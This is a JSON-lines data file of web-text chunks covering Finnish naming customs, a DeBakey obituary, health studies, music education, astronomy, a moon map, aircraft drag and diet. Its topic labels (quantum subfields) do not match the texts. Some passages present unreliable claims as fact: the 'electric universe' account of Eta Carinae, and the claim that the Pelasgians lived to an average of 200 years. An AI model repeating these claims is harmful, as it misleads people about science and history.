0.4908144080941927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.058958"} {"text": "of the holding along a waterway in relation of the main holding ( e. g. yli - ojanpera, ala - verronen ). in pohjanmaa, there are similar prefixes rinta - \" downstream \" and latva - \" upriver \". common suffixes are - nen ( in oblique form - se -, e. g. miettinen - miettisen \" miettinen ' s \" ), a diminutive suffix usually meaning \" small \", and - la / - la, a locative suffix usually meaning \" place of \". the three most common surnames in finland are virtanen ( \" small river \", from virta, \" river, stream \" ), korhonen ( \" small deaf \", from archaic / dialectal korho, \" deaf, hard of hearing \" ), and nieminen ( \" small peninsula \", from niemi, \" peninsula, cape \" ). a third, foreign tradition of surnames was introduced in finland by the swedish - speaking upper and middle classes which used typical german and swedish surnames. by custom, all finnish - speaking persons who were able to get a position of some status in urban or learned society, discarded their finnish name, adopting a swedish, german or ( in case of clergy ) latin surnames. in the case of enlisted soldiers, the new name was given regardless of the wishes of the individual. in the late 19th and early 20th century, the overall modernization process and especially, the political movement of fennicization caused a movement for adoption of finnish surnames. at that time, many persons with a swedish or otherwise foreign surname changed their family name to a finnish one. the features of nature with endings - o / o, - nen ( merio < meri \" sea \", nieminen < niemi \" point \" ) are typical of the names of this era, as well as more or less direct translations of swedish names ( helleranta < hallstrand ). fennicizing one ' s name also concealed non - finnish origin. for example, martti ahtisaari ' s grandfather was adolfsen from norway. nevertheless, fennicization was not mandatory and thus it is common to find entirely finnish - speaking families with swedish surnames ; having a swedish name does not imply that one would speak swedish. an effect of industrialization was that large numbers of people moved to the cities and towns and had to adopt a surname. missing an", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47598525970778194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.059822"} {"text": "find entirely finnish - speaking families with swedish surnames ; having a swedish name does not imply that one would speak swedish. an effect of industrialization was that large numbers of people moved to the cities and towns and had to adopt a surname. missing an inherited surname, they invented one from scratch. initially, these were in swedish, and they were not very stable ; people called them \" superfluous names \" ( liikanimi ), and a person could change one ' s surname several times during their career. later, finnish became the preferred language, and themes were taken from nature. the most common examples of this type are laine \" wave \", vainio \" field \", nurmi \" grassland \" and salo \" grove \". when applicable, - nen or - la could be suffixed, e. g. koskinen \" rapids + nen \". unlike in swedish, finnish patronymics are not used as surnames. thus, the finnish situation differs considerably from e. g. sweden with hundreds of thousands of anderssons etc. patronymics are considered additional given names. an exception is icelandic citizens resident in finland, who are allowed to follow the icelandic name tradition. in 21st - century finland, the use of surnames follows the german model. every person is legally obliged to have a first and last name. at most, three first names are allowed. a finnish married couple may adopt the surname that either spouse had as non - married, in which case this name will be the surname of their children. a spouse changing his or her name may decide to use a double - barrelled name consisting of his or her former and current official surname. in the case where both spouses keep their names they may choose either name for their children, but all siblings must share the same surname. all persons have the right to change their surname once without any specific reason. a surname that is un - finnish, contrary to the usages of the swedish or finnish languages, or in use by any person resident in finland cannot be accepted as the new name, unless valid family reasons or religious or national customs give a reason for waiving this requirement. however, persons may change their surname to any surname that has ever been used by their ancestors, if they can prove such claim. some immigrants have had difficulty naming their children, as they must choose from an approved list based on the family ' s household language. surnames behave like regular words when forming grammatical cases. thus, for example, the genitive of surname ma", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5207831461034103, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.060738"} {"text": "claim. some immigrants have had difficulty naming their children, as they must choose from an approved list based on the family ' s household language. surnames behave like regular words when forming grammatical cases. thus, for example, the genitive of surname maki is maen, just like the regular word maki ( \" hill \" ) becomes maen in the genitive. the native finnish tradition of first names was lost during the early christian period, and by the 16th century, use of christian first names was dominant. the popular names were usually the names of saints whose cult was widespread. this resulted in some differences between the western and eastern finnish first names, as the names in eastern finland might have had forms derived from russian or church - slavic, instead of swedish and latin forms. the most important source for researching the name forms actually used by the finns themselves in the 15th to 18th centuries are the surnames preserved in written sources, as these often are formed on the basis of a first name. the first names themselves are usually given in swedish or latin forms, as these are the languages used in the sources. the name actually used was a fennicized form of the name, which might change as the person became older. for example, a person given the name gustaf in the parish register might be called kustu as a child, kusti as an adolescent, kustaa as an adult and kyosti or kopa as an old man. in the early 19th century, almost all finnish first names were taken from the official almanac, published by the royal academy of turku, later university of helsinki. the names were mostly names of the saints whose cult had been popular before the reformation, but the almanach also incorporated a number of names from the old testament, which were added to certain days during the 17th and 18th centuries. during the 19th century, the finnish forms were gradually added to the finnish almanach, while the swedish and latin forms were removed. at the same time, the vicars gradually started to use finnish name forms in parish registers. this in turn, cemented the finnish name forms used. by the 1930s, the use of finnish names was stabilized and most of the popular names were noticed in the almanach. since then, the almanach has been gradually changed to include new, popular names. at present, all names which have at least 1, 000 bearers are incorporated into the almanach of the university of helsinki and given a \" name day \" ( finnish : ni", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45938049310426665, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.062706"} {"text": "##nach has been gradually changed to include new, popular names. at present, all names which have at least 1, 000 bearers are incorporated into the almanach of the university of helsinki and given a \" name day \" ( finnish : nimipaiva ). at present, 792 of the 35, 000 first names used in finland are listed in the finnish almanach. since the digitalization of the finnish national population database in the 1970s, the most popular names in finland ( of all finnish residents or citizens who have lived after that point ) have been | men ' s names | | equivalent saint | | men named | | women ' s names | | equivalent saint | | women named | | juhani | | saint john | | 332172 | | maria | | virgin mary | | 355087 | | johannes | | saint john | | 236343 | | helena | | saint helen | | 166254 | | olavi | | saint olaf | | 217861 | | anneli | | saint anna | | 143411 | | antero | | saint andrew | | 180783 | | johanna | | ( female form of saint john ) | | 142891 | | tapani | | saint stephen | | 152220 | | kaarina | | saint catherine | | 129888 | | matti | | saint matthew | | 126720 | | liisa | | saint elisabeth | | 100555 | at present, the names act ( finnish : nimilaki ; swedish : namnlagen ) of 1985 requires that all finnish citizens and residents have at least one and at the most three first names. persons who do not have a first name are obligated to adopt one when they are entered into the finnish national population database. parents of new - born children must name their child and inform the population registry within two months of the child ' s birth. the name may be chosen freely, but it must not be waivers may be granted if valid family, religious or ethnic reasons give grounds to use a name contrary to these principles. persons may change their first names once without a specific reason. for subsequent changes, valid reasons must be presented.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45161032931019485, "token_count": 454, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.063905"} {"text": "pioneer of cardiovascular surgery. born in lake charles, la, usa, on sept 7, 1908, he died in houston, tx, usa, on july 11, 2008, aged 99 years. the medical world probably should have suspected that it had the makings of a giant on its hands when, as a medical student at tulane university in new orleans, la, usa, in the early 1930s, michael debakey built a pump that could deliver blood from a donor to a patient. the so - called \u201c roller pump \u201d, which would become part of the heart - lung machine, was the first of many innovations for a man who would become synonymous with cardiovascular surgery and rebuilding diseased hearts. the list of debakey ' s firsts was quite long. he used a cadaver graft to repair an aortic aneurysm in 1952, and did the first successful carotid endarterectomy in 1953. around that time, he created the first dacron grafts designed to fix artery walls weakened by aneurysms. \u201c the role of providence in human endeavor is speculative, but i would like to think that in a personal case it was purposeful \u201d, debakey wrote in the american surgeon earlier this year. \u201c when i decided to experiment with material for arterial grafts, i went to a department store in houston, texas, to get some nylon. the clerk informed me that they were out of nylon, but had a new fabric called dacron. \u201d debakey bought a yard. using techniques he had learned at his mother ' s knee, he made the material into arterial patches at his wife ' s sewing machine. a colleague had been able to buy nylon, but it deteriorated in the body when he tried to use it. \u201c obviously, because of my good fortune, i was ahead of everyone else in the field \u201d, debakey wrote. after dacron proved long - lasting in vascular grafts, debakey won the 1963 lasker award for the work. in 1966, he was the first to use a left - ventricular assist device, one version of which now carries his name. and in 1968, his team was the first to use four organs \u2014 a heart, two kidneys, and one lung \u2014 from one donor into several recipients. debakey would go on to do more than 60 000 cardiovascular surgeries. his renown drew the attention of celebrities and politicians worldwide, including boris yeltsin, whose doctors consulted with deba", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.45333358318618916, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.067672"} {"text": "one lung \u2014 from one donor into several recipients. debakey would go on to do more than 60 000 cardiovascular surgeries. his renown drew the attention of celebrities and politicians worldwide, including boris yeltsin, whose doctors consulted with debakey in 1996. \u201c a gifted surgeon, he was recognised around the world by those whose lives he had touched \u201d, said peter traber, president and chief executive officer of baylor college of medicine, texas, where debakey spent his career. \u201c anyone who approached him, whether a member of royalty, a military veteran, or any person he met in his daily life, found him ready to listen to a personal story about someone he had helped. \u201d the child of lebanese immigrants to the usa, debakey attended college and medical school at tulane, where he trained as a surgeon. he began at baylor in 1948 when he became chair of the new medical school ' s department of surgery. one of his first accomplishments there was to develop the veteran ' s administration hospital in houston, which is now named for him. he went on to become president of the college of medicine in 1969, and chancellor in 1978. in his later years, he studied the causes of atherosclerosis, never convinced that cholesterol was the culprit ; in particular, he showed that antibodies to cytomegalovirus were more common in those with heart disease. in addition to the lasker, debakey earned many awards, including the presidential medal of freedom and the national medal of science. an adviser to several us presidents, he was an important supporter of the national library of medicine at its founding, as well as of medicare, despite that programme ' s unpopularity with the american medical association. debakey had the unique experience of being saved by a procedure he had devised. in late 2005, he suffered a dissecting aortic aneurysm, and after refusing surgery, was eventually operated on, becoming the oldest survivor of his own operation, at 98 years, using a dacron graft like the one he had pioneered. he recounted in the new york times, in 2006, how \u201c it never occurred to me to call 911 or my physician \u2026 as foolish as it may appear, you are, in a sense, a prisoner of the pain, which was intolerable. you ' re thinking, what could i do to relieve myself of it. if it becomes intense enough, you ' re perfectly willing to accept cardiac arrest as a possible way of getting", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44406221855935146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.068593"} {"text": "among other reasons contributing to deaths from stroke across the ' stroke belt ' states, eating fried fish may be one of them, a new study finds. the latest findings published in the ' neurology, ' a medical journal of the american academy of neurology, states that people living in the ' stroke belt ' states consume more fried fish than those living in the other parts of the nation. ' stroke belt ' is a popular term for states of southeastern u. s., as they have a higher stroke mortality rate. these are alabama, arkansas, georgia, indiana, kentucky, louisiana, mississippi, north carolina, south carolina, tennessee, and virginia. also, the researchers state that residents in the stroke buckle were 17 percent less likely to consume two or more servings of fish with fatty acids in a week, as recommended by the american heart association, compared to people in other parts of the state. 21675 americans accessed for the ' reasons for geographic and racial differences in stroke ' ( regards ) study, a team of researchers from emory university \u2019 s school of medicine analyzed 21675 people across the nation between january 2003 and october 2007. the average age of the respondents was 65 years. all the participants were interviewed over the phone and they also took an in - home physical examination. the study subjects were questioned about how often they ate fried and non - fried fish. of all the participants, 21 percent were from the stroke buckle, the three south - eastern states : georgia, north carolina and south carolina with extremely high stroke mortality rate, 34 percent were from rest of the stroke belt states, and 44 percent were from other states. fish consumption patterns explain high stroke rate? after studying the participants for 4 years, the researchers found that americans living in the stroke belt area were 30 percent more likely to consume two or more servings of fried fish compared to those living in other regions. also, the researchers stated that residents in the stroke buckle were 17 percent less likely to consume two or more servings of fish with fatty acids in a week, as recommended by the american heart association, compared to people in other parts of the state. studies done in the past have proved that consuming fish rich in omega - 3 fatty acids lowers the risk of heart attack. further, compared to whites, african - americans were almost three times more likely to eat fried fish in a week. on basis of the findings, fadi nahab, m. d., of emory university, and lead author of the study concluded, \u201c these differences in fish consumption may be", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.460858396272922, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.071451"} {"text": "it \u2019 s not just about the 3 r \u2019 s when it comes to education, people tend to think of the basics : reading, writing and arithmetic. due to the obesity issue with kids, there has been a great deal of emphasis on the importance of sports and fitness. people think that sports can also offer children opportunities to inevitably play in major league clubs, the olympics, etc. and therefore athletic programs should not be cut. unfortunately, when it comes to music, not much thought is given as it is often the first to go when it comes down to budget cuts for extra - curricular programs. however, music is something that is such a critical component of our lives. it has been used as a form of communication and is also found throughout nature. why exactly do birds sing? birds put a lot of effort into singing, drumming, winnowing, and otherwise displaying. they are trying to impress mates and proclaim territories. * rock me amadeus during the time of mozart as well as other masters, one \u2019 s ability to sing or play a musical instrument also determined not only how one would be received into society but for women, how well they could marry. indeed, it is a critical component to well being and can literally change the course of one \u2019 s life. such is the case with newly discovered artists such as susan boyle, kelly clarkson, etc. rock legends react there is a non - profit organization that is on a mission to change this called little kids rock. it was founded by some of the greatest names in the music world. lkr currently reaches over 74, 000 kids across america! when it comes to making sure every kid gets a first - rate education, music matters! lkr believes that learning to play a musical instrument can be a transformative experience in students \u2019 lives, with the power to inspire the creativity and confidence that are critical to success in school and beyond. they are devoted to restoring and revitalizing music education in u. s. public schools. they bring free musical instruments and music instruction to underserved schools across the country. if you would like to find out about how you can get involved, visit littlekidsrock. org and donate today! in this segment of the organic view radio show, host, june stoyer will be joined by the legendary rock drummer, liberty devitto ( known for his tenure with billy joel ) to discuss his work with little kids rock! click here to listen to the live interview. a little more for liberty devitto fans : liberty devitto is legendary", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.493705262034374, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.074997"} {"text": "by the legendary rock drummer, liberty devitto ( known for his tenure with billy joel ) to discuss his work with little kids rock! click here to listen to the live interview. a little more for liberty devitto fans : liberty devitto is legendary american rock drummer from brooklyn, new york and loved by all new yorkers, especially the folks from long island, where he grew up. although he is best known for his work as the drummer for billy joel \u2019 s band, he has played with the biggest names in the music industry such as stevie nicks, phoebe snow, richie supa, felix caveliere \u2019 s rascals, mitch ryder, billy joel / elton john, paul mccartney, billy j. kramer, ronnie spector, joan jett, jeff carlisi, rob auther, peter frampton, will lee, mitch ryder, tone loc, denise williams, wild cherry, sam the sham, patty smyth, louis prima jr, doctor hook, shelia e and so many other talented performers. he continues to play with the nyc hit squad and has been a session drummer on recordings of other artists. he is a drummer, clinician, lecturer, songwriter, producer and clearly a man of many talents. his latest project is called camp jam, which is america \u2019 s most comprehensive rock camp. guitar players, bass players, keyboard players, drummers and vocalists can unleash their inner rock star at camp jam. this isn \u2019 t just limited to kids either! they have programs available for all ages and ability levels! here is a video of liberty devitto \u2019 s song, money in a card\u00a9. now doesn \u2019 t this song put you in the christmas spirit? money in a card", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.40786464310316817, "token_count": 347, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.075627"} {"text": "if you have crohn \u2019 s disease and have healthy children or siblings, they could help unlock the key to what causes this inflammatory disease, which primarily attacks the gastrointestinal tract. a canada - wide research project is trying to find the cause of crohn \u2019 s disease by following the healthy siblings and offspring of those with the disease. the gem project was among the topics of discussion at a crohn \u2019 s / colitis workshop held at the yarmouth regional hospital thursday, nov. 15. nova scotia is a good place to look for volunteer subjects. kelly phalen kelly, a nurse practitioner from the capital health district, told the audience that canada has one of the highest rates of incidence of crohn \u2019 s disease in the world and nova scotia has the highest incidence rates in canada. \u201c that makes us have the highest reported [ incidence ] rates in the world, \u201d she said. the gem study ( which stands for genetics, environment, microbial ) hopes to help explain why. brad macintyre is a representative of the gem study \u2019 s halifax research site. noting that the theory of causation continues to evolve, he explained that current thinking suggests that crohn \u2019 s disease occurs in genetically pre - disposed people when a triggering event causes the body \u2019 s immune system to go into overdrive. \u201c it is a relationship between your genetic makeup ( the genetic information you receive from your parents ), your mucosal immune system, your own body \u2019 s reaction to the organisms in your gut, \u201d he told an audience of about 50 people, most of whom have crohn \u2019 s disease or ulcerative colitis. researchers are hoping, by focusing on family members, they will uncover clues about what triggers the development of crohn \u2019 s disease. that \u2019 s because those family members are 17 per cent more likely to develop the disease than someone without a familial relationship. crohn \u2019 s is a complex disease that develops over time. by the time someone is diagnosed, the disease has often been active for a long time and it is difficult to identify triggers. the microbial makeup in the gut of someone with crohn \u2019 s is often much different from that of a healthy person. the question is : does crohn \u2019 s cause the changes or are the differences what help contribute to the development of the disease? the research will look at how healthy relatives differ from the crohn \u2019 s patient, but it also expects to identify emerging cases of croh", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4719161805581373, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.079292"} {"text": "##ohn \u2019 s cause the changes or are the differences what help contribute to the development of the disease? the research will look at how healthy relatives differ from the crohn \u2019 s patient, but it also expects to identify emerging cases of crohn \u2019 s. if there is a broad enough research base, it can be expected that some healthy individuals will develop the disease while part of the study. if new cases are identified within the research cohort, researchers will have a goldmine of data available that could lead to a better understanding of what causes the disease. the $ 5. 5 - million research project is being funded by the crohn \u2019 s & colitis foundation of canada. dr. george tolomiczenko is the foundation \u2019 s executive director of research and scientific liaison. he is quoted in a recent foundation article as saying, \u201c this is the broadest way to systematically look for the triggers of the disease. \u201d gem \u2019 s initial five - year goals are to enrol 5, 000 participants \u2013 children and siblings of people with crohn \u2019 s disease, aged between six and 35. the crohn \u2019 s patient must sign on to the program and provide consent for researchers to review their medical file. that \u2019 s it for them. then the healthy relatives enrol. according to the study \u2019 s website, \u201c each participant supplies blood, urine and stool samples and answers an in - depth questionnaire about past environmental exposures, eating habits and medical history. they must also be available for telephone updates every six months. \u201d everything except the blood work can be collected at home and a kit is available for those who enroll. if the study attracts enough subjects from southwest nova scotia, macintyre said he would return in the spring to obtain the blood samples, alleviating the need to travel to halifax to have that part of the intake assessment completed. for more information about the gem project, or to enrol, contact www. gemproject. ca or call the iwk gi research office toll free at 1 - 877 - 3422.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45130316722624064, "token_count": 422, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.081077"} {"text": "june 18, 2012 wind socks, bow shocks, shockwaves and collisions are often used to describe the phenomena that create high - frequency electromagnetic radiation in the cosmos. from gamma rays down through x - rays and extreme ultraviolet, conventional theories have relied upon gravity and acceleration as the only way for them to be produced in space. compression of hydrogen gas and dust is supposed to create enough transfer of momentum that it reaches temperatures greater than the cores of some stars. in other words, it is the high temperature of the gas that makes it glow so brightly. the chandra satellite has detected streams of charged material pouring out of the crab nebula, emitting x - rays as they go. it was long thought that nebular clouds or the expanding gases of supernova explosions could not be sources of those frequencies, since the bubbles were supposed to be areas where gases were losing kinetic energy and cooling off. however, several \u201c mysterious \u201d observations have called into question the underlying principles of standard theory. astronomers also note that the two giant stars in eta carinae are blowing off \u201c intense winds \u201d of such velocity that the collision of the wave fronts is said to generate x - rays where the shells intersect. this is supposed to take place through kinetic shock, even though it is acknowledged that the \u201c wind \u201d is ionized particles. according to researchers, as electrons bounce back and forth in the magnetic fields they are accelerated until they collide with low - frequency photons and give them an energy boost, creating the x - ray emissions. in previous picture of the day articles, it was noted that many structures in the galaxy are active energy sources. some of them eject charged matter out from their poles, or leave long braided tails extending for light - years, or have hourglass shapes composed of tightly bunched filaments. a more detailed image of eta carinae reveals the distinctive hourglass shape that results from intense plasma discharges. the eta carinae binary system appears to have a mass 150 - times that of the sun and to be shining with four - million - times the brilliance, which indicates the high current density of the stellar z - pinch. it is well known that one shouldn \u2019 t look directly at an electric arc without eye - protection since the brilliant blue - white light is also a source of intense ultraviolet that can damage the retina. in the same way, the arc light from eta carinae is so bright that it is generating x - rays powerful enough to be detected on earth, 7500 light - years away. eta carinae also erupted with a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5757934239709949, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.084292"} {"text": "eight - year - old hannah mcgoey lives in an upstairs apartment on a busy thoroughfare in london. she has no yard to play in, and her school holds physical - education classes just two days a week. her busy parents tried to be careful about nutrition, giving up their friday fish and chips, for example. but over the years, hannah only became plumper. by the time she turned 6, children ' s sizes no longer fit her. \" i would have to buy jeans for 12 - and 14 - year - olds, \" her mother julia remembers, \" and then cut a foot and a half off the leg. \" but things began to change when a school nurse told the mcgoeys about a program called mend ( mind, exercise, nutrition, diet ), started by paul sacher, a dietitian at london ' s great ormond street hospital for children. hannah enrolled last september, and by the time the program ended 10 weeks later, she had shed nearly 5 lbs. and grown more than an inch. that wasn ' t all. once a shy, clingy child, hannah, who is now 4 ft. 11 in. tall and weighs 84 lbs., brims with confidence and loves physical activity. \" i didn ' t swim much before, \" she says. \" now i go swimming once a week. \" hannah mcgoey, unfortunately, is a rare exception to what is rapidly becoming a global epidemic of childhood obesity. more and more countries around the world - - even some that have been struggling to prevent starvation - - are now wrestling with the dangers of excessive nutrition. the u. s. continues to lead the way, with as many as 37 % of its children and adolescents carrying around too much fat. but other countries are rapidly catching up. according to statistics presented recently at the european congress on obesity in helsinki, finland, more than 20 % of european youngsters between the ages of 5 and 17 are either overweight or obese. children in north africa and the middle east aren ' t far behind. across asia too, childhood obesity is on the rise, and the trend has been documented even in urbanized areas of sub - saharan africa. \" these figures should set alarm bells ringing in ministries of health across the developed and developing world, \" says tim lobstein, co - editor of a forthcoming report to the world health organization on childhood obesity. and with good reason : people who are obese as children have a high risk of becoming obese adults -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40261606359495744, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.088071"} {"text": "moon light world map the map below shows where the moon is visible from the earth, depending on weather conditions and moon phases. the white dot symbolizes the position of the moon, and the yellow sun symbolizes the position of the sun. view day and night map - the bright part of the map shows where the moon is over the horizon on tuesday, january 29, 2013 at 16 : 26 : 00 utc. - the sun ' s position is marked with this symbol :. at this location, the sun will be at its zenith ( directly overhead ) in relation to an observer. - the moon ' s position is marked with this symbol :. at this location, the moon will be at its zenith in relation to an observer. note that the symbol is not showing the current phase of the moon. fraction of moon illuminated : 94 % position of the moon on tuesday, january 29, 2013 at 16 : 26 : 00 utc the moon is at its zenith at these coordinates : | latitude : | | 3\u00b0 41 ' | | north | | longitude : | | 143\u00b0 03 ' | | east | the ground speed of the movement is currently 448. 56 meters / second, 1614. 8 km / hour, 1003. 4 miles / hour or 871. 9 knots. the table below shows the moon position compared to the time and date above : | time | | longitude difference | | latitude difference | | total | | 1 minute | | 0\u00b0 14 ' 32. 0 \" | | 16. 72 mi | | west | | 0\u00b0 00 ' 11. 2 \" | | 0. 22 mi | | south | | 16. 72 mi | | 1 hour | | 14\u00b0 32 ' 05. 4 \" | | 1003. 38 mi | | west | | 0\u00b0 11 ' 17. 9 \" | | 12. 94 mi | | south | | 1003. 57 mi | | 24 hours | | 11\u00b0 13 ' 09. 0 \" | | 774. 49 mi | | east | | 4\u00b0 35 ' 47. 5 \" | | 315. 84 mi | | south | | 837. 50 mi | locations with the moon near zenith the following table shows 10 locations with moon near zenith position in the sky. | jayapura | | wed 1 : 26 am | | 736 km | | 458 miles | | 398 nm | | ssw | | melekeok | | wed 1 : 26 am | | 1025 km | | 637 miles | | 55", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5028888610724289, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.092961"} {"text": "| wed 1 : 26 am | | 736 km | | 458 miles | | 398 nm | | ssw | | melekeok | | wed 1 : 26 am | | 1025 km | | 637 miles | | 553 nm | | wnw | | guam ( hagatna ) | | wed 2 : 26 am | | 1099 km | | 683 miles | | 593 nm | | n | | manokwari | | wed 1 : 26 am | | 1120 km | | 696 miles | | 605 nm | | wsw | | port moresby | | wed 2 : 26 am | | 1523 km | | 947 miles | | 823 nm | | sse | | palikir | | wed 3 : 26 am | | 1712 km | | 1064 miles | | 925 nm | | ene | | davao | | wed 12 : 26 am | | 1969 km | | 1223 miles | | 1063 nm | | wnw | | manado | | wed 12 : 26 am | | 2040 km | | 1268 miles | | 1102 nm | | w | | darwin | | wed 1 : 56 am | | 2239 km | | 1391 miles | | 1209 nm | | sw | | cairns | | wed 2 : 26 am | | 2299 km | | 1428 miles | | 1241 nm | | s | related time zone tools", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43846576680276395, "token_count": 301, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.093503"} {"text": "' waggling ' wings could save 20 % in fuel consumption image credit : jstockard aircraft ' waggle effect ' can reduce fuel consumption 20 % everybody knows that flying is an energy intensive activity. unfortunately, many long awaited innovations in fuel - efficient aviation are of the more far - fetched variety - i ' m thinking airships, blended wings etc. yet it ' s long been noted that the addition of ' winglets ' to aircraft wings can reduce fuel consumption - in fact, southwest airline ' s use of winglets even earned them a nomination from one of our readers for our unexpected green competition. but that ' s not the only simple improvement that could cut fuel use - now a team from the university of warwick in the uk claims that ' waggling ' air accross aircraft wings could cut skin friction drag by 40 %, offering a 20 % savings in fuel consumption and emissions. read on for more details. green car congress brings us more details on this cutting - edge aviation research from the uk that could lead to significant airplane fuel efficiency improvements in the medium to short term : aircraft wings which redirect air to waggle sideways over their surfaces could significantly reduce drag and thus cut fuel consumption and emissions by 20 %, according to researchers at the university of warwick ( uk ). the new approach, which promises to dramatically reduce mid - flight drag, exploits helmholtz resonance \u2014 the same phenomenon that happens when blowing over a bottle \u2014 to produce micro - scale jet flows in response to turbulent noise. the main contributor to aerodynamic drag, and thus fuel consumption and emissions, is fine - scale turbulence that exists very near to the aircraft \u2019 s surface during cruise. the turbulence flow control group at the university of warwick has been studying non - powered ( passive ) flow control actuators as a means of reducing drag for some time, with the goal of developing flow - control technologies capable of major drag reductions on passenger jet aircraft. warwick is focusing on passive actuators because if an actuator is to be used on an aircraft, it must save more energy ( in reduced drag ) than it requires for its operation. unfortunately, the researchers at warwick note, many powered devices that have been developed for the drag - reduction application are unlikely to satisfy this fundamental net - saving requirement. in a project funded jointly by the engineering and physical sciences research council ( epsrc ) and airbus, warwick and other universities are investigating the potential of using new types of passive devices for turbulent drag reduction. one of the ideas under investigation was the use of helm", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5102317634040706, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.098827"} {"text": "a small group of people argue that human beings were originally hunter - gatherers who evolved eating the flesh of animals. this is a self - serving myth that is simply historically inaccurate. this mythical view implies that human evolution began with the ice age ( 20, 000 years ago ), when meat - eating became temporarily essential for survival. this relatively recent time period is not the point of historical origin for humans on the planet, but it was a dark passage, in which our survival needs eclipsed our compassion and empathy. the human ancestor called \u201c lucy \u201d ( australopithecus afarensis ) is believed to have walked the earth 3. 2 million years ago, and her mandibular structure ( spatulate canines ) clearly indicates that she subsisted primarily on plants. in fact \u201c her \u201d canines were less developed than modern human canines, making an even stronger case for human nutrition being plant source. in all of the vertebrate world, the teeth structure tells us which animals are carnivorous or not. the bigger the canines, the more likely that species was and is designed for a carnivorous diet. humans have clear plant - source - only teeth. there are several other anatomical reasons humans are plant - source - only, but the teeth is the strongest indicator. in the discussion there are two strong points that overwhelmingly support plants as humanity \u2019 s natural food. the first evidence is anatomical and genetic. the old adage \u201c dentition determines diet \u201d means that the shape of an animal \u2019 s teeth tell us what they are designed to eat. skeletal remains of ancient humans show us that our dental structure has changed very little over millions of years. our dental structure was designed to eat fruit, nuts, seeds, and greens. in truth, one need not look any farther than our closest mammalian relatives for nutritional tips. humans share 99. 4 % of their genetic makeup with frugivorous chimpanzees. dogs, to which humans are commonly compared to, by those trying to justify an omnivorous diet, share merely 75 % homologous genes with humans. the second point of the plant - source - only discussion is the abundance of oral traditions from cultures the world over, that point to a golden age of peace and harmony long ago. the vedas, the torah, the taoist texts, and all indigenous legends tell of a galactic summer or golden age when humanity thrived on a plant - source - only diet. in this world, dating back prior to 20, 000 years, our ancient ancestors were", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4799897434750652, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.103611"} {"text": "the torah, the taoist texts, and all indigenous legends tell of a galactic summer or golden age when humanity thrived on a plant - source - only diet. in this world, dating back prior to 20, 000 years, our ancient ancestors were gatherers. in the last 10, 000 to 20, 000 years some of our ancestors became hunters and herders. plant - source nutrition, however, has still been the primary diet of humanity during the last 10, 000 years of recorded history. and there are many examples of cultures that thrived on plant - source - only nutrition, including herodotus \u2019 pelagasians, who existed 5, 000 years ago and had an average age of 200 years on close to a 100 % live food plant - source - only diet. ( i actually visited greece to verify their existence and where they lived. ) herodotus, the father of history, also pointed out that plant - source - only cultures were less war - like, and more spiritually and culturally 